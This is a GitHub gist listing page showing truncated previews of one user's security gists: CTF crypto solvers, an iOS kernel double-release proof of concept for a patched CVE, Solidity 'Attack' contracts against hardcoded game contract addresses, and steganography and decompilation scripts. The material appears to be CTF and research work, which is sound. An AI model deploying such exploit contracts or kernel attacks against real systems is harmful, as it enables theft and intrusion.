Skip to content

Instantly share code, notes, and snippets.

Avatar

Minh Trần minhtt159

View GitHub Profile
@minhtt159
minhtt159 / merklision.py
Last active Oct 24, 2020
Solve merklision
View merklision.py
from hashlib import sha256
from base64 import b64encode, b64decode
from typing import Tuple
ByteStrings = Tuple[bytes, ...]
def h(s: bytes) -> bytes:
"""Short notation for sha256. The digest is truncated to 6 bytes to save
bandwidth."""
@minhtt159
minhtt159 / listdevices
Created Nov 23, 2019 — forked from PsychoTea/PanicParser.py
A collection of useful iOS-related scripts
View listdevices
#!/bin/bash
for id in $(idevice_id -l); do
ideviceinfo_data=$(ideviceinfo -u $id)
product_type=$(echo "$ideviceinfo_data" | grep ProductType | sed 's/ProductType: //g')
# strip 'iPhone' or 'iPad' and the comma from the product type
short_product_type=$(echo "$product_type" | sed 's/iPhone//g; s/iPad//g; s/,//g' )
@minhtt159
minhtt159 / afuu.c
Created Nov 23, 2019 — forked from 0x36/afuu.c
AppleFirmwareUpdateKext::loadFirmware() : Missing lock leads to double object release
View afuu.c
#if 0
// Fixed in iOS 13.1 with CVE-2019-8747
__thiscall
AppleFirmwareUpdateKext::loadFirmware
(AppleFirmwareUpdateKext *this,IOMemoryDescriptor *Memory,void *off_0x10,uint off_0x18)
{
uint uVar1;
byte addr;
byte len;
@minhtt159
minhtt159 / solve.py
Created Apr 7, 2019
AceBear CTF 2019 - F3737 Solver
View solve.py
from hashlib import sha512
BLOCKSIZE = 16
def reduce_modulo_37(i):
return int(i % 37)
class F3737(object):
"""
This class represents a vector in F37^37. Only basic operations (addition
and scalar multiplication) are provided.
@minhtt159
minhtt159 / server.py
Created Apr 7, 2019
AceBear CTF 2019 - F3737
View server.py
#!/usr/bin/env python3
# ********************************************************** #
# Today, we will work with F37^37. Good luck and have fun :) #
# ********************************************************** #
# Part 1: DEFINITION OF MYHASH
from hashlib import sha512
BLOCKSIZE = 16
View Fake3D.js
contract Attack{
address target = 0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a;
Fake3D game;
constructor() public{
game = Fake3D(target);
for (uint256 i=0; i<900; i++){
game.airDrop();
}
}
}
View EOSAttack.js
contract Attack{
address target = 0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F;
address owner = 0x622afc0cbaa152e6615be060f93bc88440a8442d;
uint256 MOD_NUM = 20;
EOSGame game;
constructor() public{
game = EOSGame(target);
}
function check() public view returns (uint256){
uint count = 1;
View ec.py
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = p-3
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
r = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
x = 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296
y = 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5
class CurveFp(object):
def __init__(self, p, a, b):
assert 3 == p % 4
View lsb.py
from PIL import Image
def main():
img = Image.open("for1.png")
pixels = img.load()
h = img.size[0]
w = img.size[1]
out1 = ''
for row in range(h):
for col in range(w):
@minhtt159
minhtt159 / PyLock.py
Last active Nov 5, 2018
PyLock - SVATTT
View PyLock.py
# uncompyle6 version 3.2.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34)
# [GCC 7.3.0]
# Embedded file name: PyLock.py
import sys, os
from itertools import cycle, izip
import base64
class XorLock: